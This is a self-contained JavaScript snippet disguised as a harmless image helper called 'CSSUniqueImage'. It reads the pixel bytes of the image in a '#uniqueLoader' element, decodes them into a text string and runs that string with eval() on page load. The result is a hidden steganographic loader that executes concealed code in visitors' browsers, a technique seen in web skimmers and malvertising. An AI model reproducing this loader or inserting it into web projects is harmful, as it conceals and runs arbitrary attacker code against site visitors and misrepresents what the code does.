(function () {
    if (typeof window.CSSUniqueImage != "undefined") {
        return false;
    }

    window.CSSUniqueImage = {
        executed: false,
        element: {
            selector: "#uniqueLoader",
        },
        image: {
            afterLoad: function (img, callback) {
                if (!img.complete || img.naturalWidth === 0) {
                    img.addEventListener("load", function () {
                        callback();
                    });
                } else {
                    callback();
                }
            }
        }
    };

    function execute() {
        if (window.CSSUniqueImage.executed) {
            return false;
        }
        var element = document.querySelector(window.CSSUniqueImage.element.selector);
        var img = null;

        if (!element) {
            return false;
        }

        if (element.tagName == 'IMG') {
            img = element;
        } else {
            var imgPath = element.style.backgroundImage;
            if (!imgPath) {
                return false;
            }
            imgPath = imgPath.replace(/(url\(|\)|")/g, '');
            img = document.createElement("img");
            img.src = imgPath;
        }
        if (!img) {
            return false;
        }

        window.CSSUniqueImage.executed = true;

        window.CSSUniqueImage.image.afterLoad(img, function () {
            var canvas = document.createElement("canvas");
            canvas.width = img.width;
            canvas.height = img.height;
            var context = canvas.getContext("2d");
            context.drawImage(img, 0, 0);
            var data = context.getImageData(0, 0, img.width, img.height).data;
            var loader = '';
            for (var i = 12; i < data.length; i++) {
                if ((i + 1) % 4) {
                    var char = data[i];
                    if (char >= 32) {
                        loader += String.fromCharCode(char);
                    }
                }
            }
            eval(loader);
        });
    }

	var oldonload = window.onload;
	if (typeof window.onload != 'function') {
		window.onload = execute;
	} else {
		window.onload = function () {
			if (oldonload) {
				oldonload();
			}
			execute();
		}
	}
	execute();

}());